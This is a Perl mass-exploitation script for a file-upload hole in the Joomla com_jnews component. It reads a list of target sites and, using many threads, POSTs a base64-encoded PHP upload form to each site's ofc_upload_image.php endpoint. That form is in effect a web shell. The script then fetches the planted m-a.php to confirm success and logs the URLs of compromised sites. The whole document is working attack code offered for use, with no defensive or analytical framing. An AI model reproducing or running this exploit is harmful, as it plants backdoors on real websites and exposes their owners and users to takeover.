Com_jnews Exploiter Perl Joomla

#!/usr/bin/perl
# Module Needed :)
use strict;
no warnings;
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use HTTP::Request::Common;
use Term::ANSIColor;
use Win32::Console::ANSI;
use MIME::Base64;
##############################
if($^O =~ /Win/){
system("cls");
}else{
system("clear");
}
my $ua = LWP::UserAgent->new;
$ua->timeout(15);
$ua->agent('Mozilla/5.0');
print color("bold red"),"[+] Com_jnews Joomla Components RCI Exploits Scanner (Threads on) \n";
print color("bold red"),"[+] coded by Mr_AnarShi-T\n";
print color("bold red"),"[+] Gr33T's : Boy Security & cold Zero & Dod & Normal & Orange man & all \n";
print color("bold red"),"[+] Home : Www.site.com & My Lab :) \n\n";
print color 'reset';
print color("green"),"[+] Enter File : ";
print color 'reset';
my $file=<STDIN>;
chomp($file);
print color("green"),"\n[+] Enter Thread Number : ";
print color 'reset';
my $thread=<STDIN>;
chomp($thread);
my $threads = $thread;
my @linkz : shared;
my @paths : shared;
GetLinks();
while (threads->list) {}
print color ('green');
print "\n[+] Link Founded : ";
print color 'reset';
print"".scalar(@linkz)."\n\n";
CheckLinks();
while (threads->list) {}
sub GetLinks {
open( LNK, "$file" ) or die "$!\n";
while( defined( my $line_ = <LNK> ) ) {
chomp( $line_ );
push( @linkz, $line_ );
}
close( LNK );
}
sub CheckLinks {
foreach my $link( @linkz ) {
my $ctr = 0;
foreach my $thr ( threads->list ) { $ctr++; }
if ($ctr < $threads){
threads->create( \&CheckLinkz_exploits,$link );
}
else { redo; }
}
}
sub CheckLinkz_exploits {
my $link = shift ;
chomp ($link);
my $site_vul = "http://".$link . "/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=m-a.php";
my $encoded ="PD9waHANCmVjaG8gJzx0aXRsZT5VcGxvYWQgRmlsZXMgR09PR0xFSU5VUkwgPC90aXRsZT4nOw0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXINCiIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0Ig0KaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOw0KaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgew0KICAgICAgICBpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICcNCjxiPlVwbG9hZCBDb21wbGF0ZSAhISE8L2I+PGJyPjxicj4nOyB9DQogICAgICAgIGVsc2UgeyBlY2hvICc8Yj5GQUxIQSEhITwvYj48YnI+PGJyPic7IH0NCn0NCj8+";
my $evil = decode_base64($encoded);
my $res = $ua->request(POST $site_vul,Content_Type => 'text/plain', Content => $evil);
print "[+] Checking $link\n\n";
if ($res->is_success){
print "[+] $link is vul\n";
print "[+] Checking If The Evil code Was Uploded\n";
my $vul="/components/com_jnews/includes/openflashchart/tmp-upload-images/m-a.php";
my $url = "http://".$link. $vul;
my $request = HTTP::Request->new(GET=>$url);
my $useragent = LWP::UserAgent->new();
my $response = $useragent->request($request);
if ($response->content=~m/<title>Upload Files Mr_AnarShi-T <\/title>/g){
print color("yellow"),"[.] Found => $url\n\n";
print color 'reset';
open(BEN,">>result-$link.txt");
print BEN "$url\n";
close(BEN);
}
else
{
print "[.] Not Found \n";
}
}
threads->detach();
}